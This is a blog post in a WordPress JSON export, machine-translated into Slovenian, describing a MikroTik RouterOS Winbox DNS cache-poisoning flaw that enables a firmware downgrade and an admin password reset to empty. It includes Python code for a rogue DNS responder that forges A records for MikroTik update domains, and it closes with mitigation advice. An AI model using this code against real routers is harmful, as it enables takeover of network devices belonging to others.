{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Backport ranljivosti v RouterOS ogro\u017ea na tiso\u010de naprav","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"Backport
\n
\nMo\u017enost oddaljenega zmanj\u0161anja naprav z operacijskim sistemom RouterOS (Mikrotik) ogro\u017ea na tiso\u010de omre\u017enih naprav. Ranljivost je povezana z zastrupljanjem DNS predpomnilnika protokola Winbox in omogo\u010da nalaganje zastarele (s ponastavitvijo gesla na \"privzeto\") ali spremenjene programske opreme na napravo.
\n<\/a><\/noindex>
\n\"Backport
\n<\/p>\n

Podrobnosti ranljivosti<\/h3>\n

\nTerminal RouterOS podpira ukaz za razre\u0161evanje za iskanje DNS.<\/p>\n

\"Backport
\n
\nTa zahteva se obdeluje z binarno datoteko z imenom resolver. Resolver je ena izmed mnogih binarnih datotek, ki so povezane s protokolom Winbox v RouterOS. Na visoki ravni se \"sporo\u010dila\", poslana na vrata Winbox, lahko usmerjajo v razli\u010dne binarne datoteke v RouterOS na podlagi sheme \u0161tevil\u010denja, ki temelji na polju.<\/p>\n

Privzeto je funkcija DNS stre\u017enika v RouterOS onemogo\u010dena.<\/p>\n

\"Backport
\n
\nKljub temu pa tudi pri onemogo\u010deni funkciji stre\u017enika usmerjevalnik podpira svoj predpomnilnik DNS.<\/p>\n

\"Backport
\n
\nKo izvedemo zahtevo z uporabo winbox_dns_request, na primer, example.com, bo usmerjevalnik shranil rezultat v predpomnilnik.<\/p>\n

\"Backport
\n
\nKer lahko dolo\u010dimo DNS stre\u017enik, preko katerega naj bi \u0161la zahteva, je vna\u0161anje napa\u010dnih naslovov trivialno. Na primer, lahko nastavimo implementacijo DNS stre\u017enika od Philippa Klause<\/a><\/noindex>, da vedno odgovarja z zapisom A, ki vsebuje IP naslov 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Odgovor:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nZdaj, \u010de ga z Winboxom poi\u0161\u010demo example.com, lahko vidimo, da je DNS predpomnilnik usmerjevalnika zastrupljen.<\/p>\n
\"Backport
\n
\nSeveda zastrupitev example.com ni zelo koristna, ker ga usmerjevalnik dejansko ne bo uporabljal. Kljub temu pa se usmerjevalnik mora obrniti na upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com in download.mikrotik.com. In zaradi \u0161e ene napake obstaja mo\u017enost, da jih zastrupimo vse hkrati.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Odgovor:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nUsmernik zahteva eno dovoljenje, mi pa vrnemo pet. Usmernik napa\u010dno predpomni vse te odgovore.<\/p>\n
\"Backport
\n
\nO\u010ditno je, da je ta napad prav tako koristen, \u010de usmernik deluje kot DNS stre\u017enik, saj omogo\u010da napad na stranke usmernika.<\/p>\n
Ta napad prav tako izkori\u0161\u010da resnej\u0161o ranljivost: omogo\u010da posodobitev ali povratno prena\u0161anje razli\u010dice RouterOS. Napadalec ponovno ustvari logiko posodobitvenega stre\u017enika, vklju\u010dno s spremembami in prisili RouterOS, da obravnava zastarelo (ranljivo) razli\u010dico kot aktualno. Tukaj je nevarnost v tem, da se pri 'posodabljanju' razli\u010dice geslo administratorja ponastavi na privzeto vrednost \u2014 napadalec lahko vstopi v sistem s praznim geslom!<\/p>\n
\r\n        \"Predvajaj\r\n        
<\/div>\r\n    <\/div><\/center>
\nNapad je sicer delujo\u010d, kljub temu da avtor<\/a><\/noindex> izvaja \u0161e nekaj vektorjev, povezanih tudi z vgradnjo backdora v programsko opremo<\/a><\/noindex>, a to je \u017ee odve\u010dna tehnika in njeno uporabo v nezakonitih namenih je prepovedano.<\/p>\n
Za\u0161\u010dita<\/h3>\n
\nPreprosto izklopitev Winboxa omogo\u010da za\u0161\u010dito pred temi napadi. Kljub udobnosti upravljanja preko Winboxa je bolje uporabiti protokol SSH.
\n
Izvor: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Backport ranljivost v RouterOS ogro\u017ea na tiso\u010de naprav | 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